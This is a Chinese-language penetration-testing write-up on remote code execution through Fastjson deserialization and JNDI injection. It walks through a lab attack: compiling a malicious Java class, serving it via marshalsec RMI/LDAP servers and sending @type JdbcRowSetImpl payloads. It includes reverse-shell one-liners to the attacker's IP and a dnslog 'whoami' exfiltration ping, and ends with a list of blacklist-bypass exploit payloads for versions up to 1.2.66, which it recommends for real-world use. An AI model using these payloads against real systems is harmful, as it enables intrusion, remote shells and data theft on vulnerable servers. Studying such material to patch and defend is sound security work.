某json遠程命令執行漏洞總結
1.FastJson 簡介
fastjson.jar包原始下載地址:https://github.com/alibaba/fastjson
fastjson用于將Java Bean序列化為JSON字符串,也可以從JSON字符串反序列化到JavaBean。fastjson.jar是阿里開發的一款專門用于Java開發的包,可以方便的實現json對象與JavaBean對象的轉換,實現JavaBean對象與json字符串的轉換,實現json對象與json字符串的轉換。除了這個fastjson以外,還有Google開發的Gson包,其他形式的如net.sf.json包,都可以實現json的轉換。方法名稱不同而已,最后的實現結果都是一樣的。
將json字符串轉化為json對象 在net.sf.json中是這么做的 JSONObject obj = new JSONObject().fromObject(jsonStr);//將json字符串轉換為json對象 在fastjson中是這么做的 JSONObject obj=JSON.parseObject(jsonStr);//將json字符串轉換為json對象
1.1 JNDI
JNDI是 Java 命名與目錄接口(Java Naming and Directory Interface),在J2EE規范中是重要的規范之一。JNDI提供統一的客戶端API,為開發人員提供了查找和訪問各種命名和目錄服務的通用、統一的接口,可以用來定位用戶、網絡、機器、對象和服務等各種資源。比如可以利用JNDI再局域網上定位一臺打印機,也可以用JNDI來定位數據庫服務或一個遠程Java對象。JNDI底層支持RMI遠程對象,RMI注冊的服務可以通過JNDI接口來訪問和調用。
JNDi是應用程序設計的Api,JNDI可以根據名字動態加載數據,支持的服務主要有以下幾種:
DNS、LDAP、CORBA對象服務、RMI
1.2 利用JNDI References進行注入
對于這個知識點,我們需要先了解RMI的作用。
首先RMI(Remote Method Invocation)是專為Java環境設計的遠程方法調用機制,遠程服務器實現具體的Java方法并提供接口,客戶端本地僅需根據接口類的定義,提供相應的參數即可調用遠程方法。RMI依賴的通信協議為JRMP(Java Remote Message Protocol ,Java 遠程消息交換協議),該協議為Java定制,要求服務端與客戶端都為Java編寫。這個協議就像HTTP協議一樣,規定了客戶端和服務端通信要滿足的規范。在RMI中對象是通過序列化方式進行編碼傳輸的。RMI服務端可以直接綁定遠程調用的對象以外,還可通過References類來綁定一個外部的遠程對象,當RMI綁定了References之后,首先會利用Referenceable.getReference()獲取綁定對象的引用,并在目錄中保存,當客戶端使用lookup獲取對應名字時,會返回ReferenceWrapper類的代理文件,然后會調用getReference()獲取Reference類,最終通過factory類將Reference轉換為具體的對象實例。
服務端
import com.sun.jndi.rmi.registry.ReferenceWrapper;
import javax.naming.Reference;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
public class RMIServer {
public static void main(String args[]) throws Exception {
Registry registry = LocateRegistry.createRegistry(1099);
// Reference需要傳入三個參數(className,factory,factoryLocation)
// 第一個參數隨意填寫即可,第二個參數填寫我們http服務下的類名,第三個參數填寫我們的遠程地址
Reference refObj = new Reference("Evil", "EvilObject", "http://127.0.0.1:8000/");
// ReferenceWrapper包裹Reference類,使其能夠通過RMI進行遠程訪問
ReferenceWrapper refObjWrapper = new ReferenceWrapper(refObj);
registry.bind("refObj", refObjWrapper);
}
}
從ReferenceWrapper源碼可以看出,該類繼承自UnicastRemoteObject,實現對Reference的包裹,使其能夠通過RMI進行遠程訪問

客戶端
import javax.naming.Context;
import javax.naming.InitialContext;
import javax.naming.NamingException;
public class JNDIClient {
public static void main(String[] args) throws Exception{
try {
Context ctx = new InitialContext();
ctx.lookup("rmi://localhost:8000/refObj");
}
catch (NamingException e) {
e.printStackTrace();
}
}
}
如果我們可以控制JNDI客戶端中傳入的url,就可以起一個惡意的RMI,讓JNDI來加載我們的惡意類從而進行命令執行。
我們來看一下References,References類有兩個屬性,className和codebase url,className就是遠程引用的類名,codebase決定了我們遠程類的位置,當本地classpath中沒有找到對應的類的時候,就會去請求codebase地址下的類(codebase支持http協議),此時如果我們將codebase地址下的類換成我們的惡意類,就能讓客戶端執行。
ps:在java版本大于1.8u191之后版本存在trustCodebaseURL的限制,只能信任已有的codebase地址,不再能夠從指定codebase中下載字節碼。
整個利用流程如下
1.首先開啟HTTP服務器,并將我們的惡意類放在目錄下 2.開啟惡意RMI服務器 3.攻擊者控制url參數為上一步開啟的惡意RMI服務器地址 4.惡意RMI服務器返回ReferenceWrapper類 5.目標(JNDI_Client)在執行lookup操作的時候,在decodeObject中將ReferenceWrapper變成Reference類,然后遠程加載并實例化我們的Factory類(即遠程加載我們HTTP服務器上的惡意類),在實例化時觸發靜態代碼片段中的惡意代碼
2.FastJson滲透總結
1.反序列化常用的兩種利用方式,一種是基于rmi,一種是基于ldap。 2.RMI是一種行為,指的是Java遠程方法調用。 3.JNDI是一個接口,在這個接口下會有多種目錄系統服務的實現,通過名稱等去找到相關的對象,并把它下載到客戶端中來。 4.ldap指輕量級目錄服務協議。
存在Java版本限制:
基于rmi的利用方式:適用jdk版本:JDK 6u132,JDK 7u131,JDK 8u121之前; 在jdk8u122的時候,加了反序列化白名單的機制,關閉了rmi遠程加載代碼。 基于ldap的利用方式,適用jdk版本:JDK 11.0.1、8u191、7u201、6u211之前。 在Java 8u191更新中,Oracle對LDAP向量設置了相同的限制,并發布了CVE-2018-3149,關閉了JNDI遠程類加載。 可以看到ldap的利用范圍是比rmi要大的,實戰情況下推薦使用ldap方法進行利用。
2.1 fastjson 1.2.24反序列化導致任意命令執行漏洞(CVE-2017-18349)
漏洞原理
FastJson在解析json的過程中,支持使用autoType來實例化某一個具體的類,并調用該類的set/get方法來訪問屬性。通過查找代碼中相關的方法,即可構造出一些惡意利用鏈。
通俗理解就是:漏洞利用fastjson autotype在處理json對象的時候,未對@type字段進行完全的安全性驗證,攻擊者可以傳入危險類,并調用危險類連接遠程rmi主機,通過其中的惡意類執行代碼。攻擊者通過這種方式可以實現遠程代碼執行漏洞的利用,獲取服務器的敏感信息泄露,甚至可以利用此漏洞進一步對服務器數據進行修改,增加,刪除等操作,對服務器造成巨大影響。
影響版本
Fastjson < 1.2.25
漏洞啟動
靶機:Ubuntu ip:192.168.9.234 攻擊機:kali ip:192.168.10.65
開啟fastjson漏洞
docker-compose up -d docker ps


訪問靶機,可以看見json格式的輸出:


因為是Java 8u102,沒有com.sun.jndi.rmi.object.trustURLCodebase的限制,我們可以使用com.sun.rowset.JdbcRowSetImpl的利用鏈,借助JNDI注入來執行命令。
在kali上執行下面這條命令,使用 curl命令模擬json格式的POST請求,返回json格式的請求結果,沒報404,正常情況下說明存在該漏洞。
curl http://192.168.9.234:8090/ -H "Content-Type: application/json" --data '{"name":"zcc", "age":18}'

kali安裝Javac環境,這里我已經安裝好了
cd /opt curl http://www.joaomatosf.com/rnp/java_files/jdk-8u20-linux-x64.tar.gz -o jdk-8u20-linux-x64.tar.gz tar zxvf jdk-8u20-linux-x64.tar.gz rm -rf /usr/bin/java* ln -s /opt/jdk1.8.0_20/bin/j* /usr/bin javac -version java -version

編譯惡意類代碼
import java.lang.Runtime;
import java.lang.Process;
public class zcc{
static {
try {
Runtime rt = Runtime.getRuntime();
String[] commands = {"touch", "/tmp/zcctest"};
Process pc = rt.exec(commands);
pc.waitFor();
} catch (Exception e) {
// do nothing
}
}
}


javac zcc.java

搭建http服務傳輸惡意文件
python -m SimpleHTTPServer 80

編譯并開啟RMI服務:
1 下載marshalsec(我這里已經安裝好):
git clone https://github.com/mbechler/marshalsec.git

2 然后安裝maven:
apt-get install maven

3 然后使用maven編譯marshalsec成jar包,我們先進入下載的marshalsec文件中運行:
mvn clean package -DskipTests


4 然后我們借助marshalsec項目,啟動一個RMI服務器,監聽9999端口,這里的ip為你上面開啟http服務的ip,我們這里就是kali的ip:
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://192.168.10.65/#zcc" 9999
這里如果要啟動LDAP服務的話,只需把上面命令中的RMI改成LDAP即可,例如:
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://192.168.10.65/#zcc" 9999

可以看見請求成功,并加載了惡意類。
5 使用BP抓包,并寫入poc(記住請求包里面請求方式改成post,Content-Type改成application/json):
{
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://192.168.10.65:9999/zcc",
"autoCommit":true
}
}





可以看見成功寫入。
這里我們用dnslog做一個小測試:
http://www.dnslog.cn/

直接覆蓋原來得文件;
"/bin/sh","-c","ping user.'whoami'.jeejay.dnslog.cn"


點擊send發送之后成功回顯

反彈shell的話也只需修改惡意類中commands的內容即可,代碼參考如下,建議用第二個,第二個前面帶主機名,看起來舒服點,我這里用的第一個;
"/bin/bash","-c","exec 5<>/dev/tcp/192.168.10.65/8899;cat <&5 | while read line; do $line 2>&5 >&5; done" 或者 "/bin/bash", "-c", "bash -i >& /dev/tcp/192.168.10.65/1234 0>&1"


2.2 Fastjson 1.2.47遠程命令執行漏洞
漏洞原理
Fastjson是阿里巴巴公司開源的一款json解析器,其性能優越,被廣泛應用于各大廠商的Java項目中。fastjson于1.2.24版本后增加了反序列化白名單,而在1.2.48以前的版本中,攻擊者可以利用特殊構造的json字符串繞過白名單檢測,成功執行任意命令。
影響版本
Fastjson < 1.2.47
漏洞啟動


因為目標環境是openjdk:8u102,這個版本沒有com.sun.jndi.rmi.object.trustURLCodebase的限制,我們可以利用RMI進行命令執行。

// javac TouchFile.java
import java.lang.Runtime;
import java.lang.Process;
public class zcc {
static {
try {
Runtime rt = Runtime.getRuntime();
String[] commands = {"touch", "/tmp/zcctest111"};
Process pc = rt.exec(commands);
pc.waitFor();
} catch (Exception e) {
// do nothing
}
}
}


開啟http服務
python -m SimpleHTTPServer 8080


借助marshalsec項目啟動RMI服務器,監聽9998端口,并制定加載遠程類zcc.class:
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://192.168.10.65/#zcc" 9999

發送payload,別忘了改Content-Type: application/json,可以看見成功寫入,反彈shell的手段和上面1.2.24的一樣:
{
"a":{
"@type":"java.lang.Class",
"val":"com.sun.rowset.JdbcRowSetImpl"
},
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://192.168.10.65:9999/zcc",
"autoCommit":true
}
}



反彈shell;
"/bin/bash", "-c", "bash -i >& /dev/tcp/192.168.10.65/8899 0>&1"


2.3 fastjson<=1.2.41漏洞詳情
第一個Fastjson反序列化漏洞爆出后,阿里在1.2.25版本設置了autoTypeSupport屬性默認為false,并且增加了checkAutoType()函數,通過黑白名單的方式來防御Fastjson反序列化漏洞,因此后面發現的Fastjson反序列化漏洞都是針對黑名單繞過來實現攻擊利用的目的的。com.sun.rowset.jdbcRowSetlmpl在1.2.25版本被加入了黑名單,fastjson有個判斷條件判斷類名是否以"L"開頭、以";"結尾,是的話就提取出其中的類名在加載進來,因此在原類名頭部加L,尾部加;即可繞過黑名單的同時加載類。
exp:
{
"@type":"Lcom.sun.rowset.JdbcRowSetImpl;",
"dataSourceName":"rmi://x.x.x.x:9999/rce_1_2_24_exploit",
"autoCommit":true
}
autoTypeSupport屬性為true才能使用。(fastjson>=1.2.25默認為false)
2.4 fastjson<=1.2.42漏洞詳情
fastjson在1.2.42版本新增了校驗機制。如果輸入類名的開頭和結尾是L和;就將頭尾去掉再進行黑名單校驗。繞過方法:在類名外部嵌套兩層L和;。
原類名:com.sun.rowset.JdbcRowSetImpl 繞過:LLcom.sun.rowset.JdbcRowSetImpl;;
exp:
{
"@type":"LLcom.sun.rowset.JdbcRowSetImpl;;",
"dataSourceName":"rmi://x.x.x.x:9999/exp",
"autoCommit":true
}
autoTypeSupport屬性為true才能使用。(fastjson>=1.2.25默認為false)
2.5 fastjson<=1.2.45漏洞詳情
前提條件:目標服務器存在mybatis的jar包,且版本需為3.x.x系列<3.5.0的版本。
使用黑名單繞過,org.apache.ibatis.datasource在1.2.46版本被加入了黑名單。
autoTypeSupport屬性為true才能使用。(fastjson>=1.2.25默認為false)
exp:
{"@type":"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory","properties":{"data_source":"ldap://localhost:1389/Exploit"}}
2.6 fastjson<=1.2.47漏洞詳情
對版本小于1.2.48的版本通殺,autoType為關閉狀態也可用。loadClass中默認cache為true,利用分2步,首先使用java.lang.Class把獲取到的類緩存到mapping中,然后直接從緩存中獲取到了com.sun.rowset.jdbcRowSetlmpl這個類,繞過了黑名單機制。
exp:
{
"a": {
"@type": "java.lang.Class",
"val": "com.sun.rowset.JdbcRowSetImpl"
},
"b": {
"@type": "com.sun.rowset.JdbcRowSetImpl",
"dataSourceName": "rmi://x.x.x.x:9999/exp",
"autoCommit": true
}
}
2.7 fastjson<=1.2.62漏洞詳情
基于黑名單繞過exp:
{"@type":"org.apache.xbean.propertyeditor.JndiConverter","AsText":"rmi://x.x.x.x:9999/exploit"}";
2.8 fastjson<=1.2.66漏洞詳情
也是基于黑名單繞過,autoTypeSupport屬性為true才能使用,(fastjson>=1.2.25默認為false)以下是幾個exp:
{"@type":"org.apache.shiro.jndi.JndiObjectFactory","resourceName":"ldap://192.168.80.1:1389/Calc"}
{"@type":"br.com.anteros.dbcp.AnterosDBCPConfig","metricRegistry":"ldap://192.168.80.1:1389/Calc"}
{"@type":"org.apache.ignite.cache.jta.jndi.CacheJndiTmLookup","jndiNames":"ldap://192.168.80.1:1389/Calc"}
{"@type":"com.ibatis.sqlmap.engine.transaction.jta.JtaTransactionConfig","properties": {"@type":"java.util.Properties","UserTransacti
on":"ldap://192.168.80.1:1389/Calc"}}